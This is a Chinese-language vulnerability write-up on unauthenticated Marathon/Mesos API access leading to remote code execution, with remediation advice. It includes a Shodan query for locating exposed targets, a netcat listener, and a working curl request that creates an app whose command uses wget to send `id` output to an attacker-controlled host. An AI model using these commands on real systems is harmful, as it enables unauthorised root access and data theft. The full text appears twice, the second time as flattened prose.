挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞
字数 1446 2025-08-18 11:39:00

Marathon服务未授权访问导致RCE漏洞分析报告

漏洞概述

本报告详细分析了一个通过Shodan发现的Marathon服务未授权访问漏洞,该漏洞可导致远程代码执行(RCE)。Marathon是一个生产级别的容器编排平台,用于管理Apache Mesos集群中的容器化应用。

漏洞关键点

  • 漏洞类型:未授权访问 + 远程代码执行
  • 影响组件:Marathon服务(Apache Mesos生态的一部分)
  • 漏洞等级:高危
  • 利用条件:暴露在互联网且未配置认证的Marathon服务
  • 影响范围:可获取服务器root权限执行任意命令

技术背景

Marathon简介

Marathon是Mesos的一个Framework,提供以下功能:

  • 容器(Docker)编排平台
  • 实现服务发现和负载均衡(通过HAProxy)
  • 提供REST API服务
  • 支持授权和SSL
  • 配置约束功能

相关组件

  • Apache Mesos:分布式系统内核,管理集群资源
  • DC/OS:基于Mesos的数据中心操作系统
  • Marathon:Mesos上的私有PaaS实现

漏洞发现过程

1. Shodan搜索

使用以下搜索语法在Shodan中查找暴露的Marathon服务:

"ssl:Redacted" "X-Marathon-Leader"

重点关注返回HTTP 200状态码的服务,这表明可能无需认证即可访问。

2. 验证未授权访问

直接访问发现的Marathon UI界面:

https://[target-ip]/ui/#/apps

确认无需任何认证即可进入管理界面。

漏洞利用步骤

1. 准备监听服务器

在攻击者控制的服务器上设置netcat监听:

nc -lvvv 55555

2. 通过API创建恶意应用

使用curl向目标Marathon服务发送恶意应用创建请求:

curl -sk -X POST -H "Content-type: application/json" https://[target-ip]/v2/apps -d '{
  "mem": 16,
  "id": "rce-id",
  "cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` [attacker-ip]:55555"
}'

参数说明:

  • [target-ip]: 存在漏洞的Marathon服务IP
  • [attacker-ip]: 攻击者服务器IP
  • rce-id: 自定义应用名称(可修改)
  • cmd: 要执行的命令(此处使用wget回传id命令结果)

3. 验证命令执行

在Marathon UI中查看创建的应用(rce-id),同时在netcat监听端接收命令输出。

4. 清理痕迹

测试完成后,删除创建的恶意应用以避免影响目标系统。

漏洞原理分析

Marathon服务暴露了以下危险功能:

  1. 未授权API访问:/v2/apps接口未实施认证
  2. 任意命令执行:通过cmd参数可以执行任意系统命令
  3. root权限执行:Marathon默认以root权限运行容器

修复建议

  1. 启用认证

    • 配置Marathon的HTTP基本认证
    • 或集成企业级认证系统
  2. 网络隔离

    • 不将Marathon管理接口暴露在公网
    • 配置防火墙规则限制访问源IP
  3. 权限控制

    • 不以root权限运行Marathon服务
    • 实施最小权限原则
  4. 安全配置

    {
      "disable_http": true,
      "mesos_authentication_principal": "marathon",
      "mesos_authentication_secret_file": "/path/to/secret"
    }
    

经验总结

  1. 开发知识的重要性:了解目标系统工作原理有助于发现漏洞
  2. 自动化工具使用:善用Shodan等工具发现暴露服务
  3. 漏洞挖掘思路:从认证缺陷入手,逐步提升权限
  4. 负责任披露:发现漏洞后及时报告厂商并协助修复

扩展思考

该漏洞模式可应用于其他容器编排系统的安全测试:

  • Kubernetes的未授权访问
  • Docker Swarm的API暴露
  • Nomad的调度器漏洞

建议对容器编排系统实施全面的安全审计,包括:

  • 认证机制
  • 网络隔离
  • 权限控制
  • 日志监控

参考资源

  1. Marathon官方文档安全章节
  2. Apache Mesos安全配置指南
  3. OWASP容器安全标准
  4. CIS Docker安全基准
Marathon服务未授权访问导致RCE漏洞分析报告 漏洞概述 本报告详细分析了一个通过Shodan发现的Marathon服务未授权访问漏洞,该漏洞可导致远程代码执行(RCE)。Marathon是一个生产级别的容器编排平台,用于管理Apache Mesos集群中的容器化应用。 漏洞关键点 漏洞类型 :未授权访问 + 远程代码执行 影响组件 :Marathon服务(Apache Mesos生态的一部分) 漏洞等级 :高危 利用条件 :暴露在互联网且未配置认证的Marathon服务 影响范围 :可获取服务器root权限执行任意命令 技术背景 Marathon简介 Marathon是Mesos的一个Framework,提供以下功能: 容器(Docker)编排平台 实现服务发现和负载均衡(通过HAProxy) 提供REST API服务 支持授权和SSL 配置约束功能 相关组件 Apache Mesos :分布式系统内核,管理集群资源 DC/OS :基于Mesos的数据中心操作系统 Marathon :Mesos上的私有PaaS实现 漏洞发现过程 1. Shodan搜索 使用以下搜索语法在Shodan中查找暴露的Marathon服务: 重点关注返回HTTP 200状态码的服务,这表明可能无需认证即可访问。 2. 验证未授权访问 直接访问发现的Marathon UI界面: 确认无需任何认证即可进入管理界面。 漏洞利用步骤 1. 准备监听服务器 在攻击者控制的服务器上设置netcat监听: 2. 通过API创建恶意应用 使用curl向目标Marathon服务发送恶意应用创建请求: 参数说明: [target-ip] : 存在漏洞的Marathon服务IP [attacker-ip] : 攻击者服务器IP rce-id : 自定义应用名称(可修改) cmd : 要执行的命令(此处使用wget回传 id 命令结果) 3. 验证命令执行 在Marathon UI中查看创建的应用( rce-id ),同时在netcat监听端接收命令输出。 4. 清理痕迹 测试完成后,删除创建的恶意应用以避免影响目标系统。 漏洞原理分析 Marathon服务暴露了以下危险功能: 未授权API访问 :/v2/apps接口未实施认证 任意命令执行 :通过 cmd 参数可以执行任意系统命令 root权限执行 :Marathon默认以root权限运行容器 修复建议 启用认证 : 配置Marathon的HTTP基本认证 或集成企业级认证系统 网络隔离 : 不将Marathon管理接口暴露在公网 配置防火墙规则限制访问源IP 权限控制 : 不以root权限运行Marathon服务 实施最小权限原则 安全配置 : 经验总结 开发知识的重要性 :了解目标系统工作原理有助于发现漏洞 自动化工具使用 :善用Shodan等工具发现暴露服务 漏洞挖掘思路 :从认证缺陷入手,逐步提升权限 负责任披露 :发现漏洞后及时报告厂商并协助修复 扩展思考 该漏洞模式可应用于其他容器编排系统的安全测试: Kubernetes的未授权访问 Docker Swarm的API暴露 Nomad的调度器漏洞 建议对容器编排系统实施全面的安全审计,包括: 认证机制 网络隔离 权限控制 日志监控 参考资源 Marathon官方文档安全章节 Apache Mesos安全配置指南 OWASP容器安全标准 CIS Docker安全基准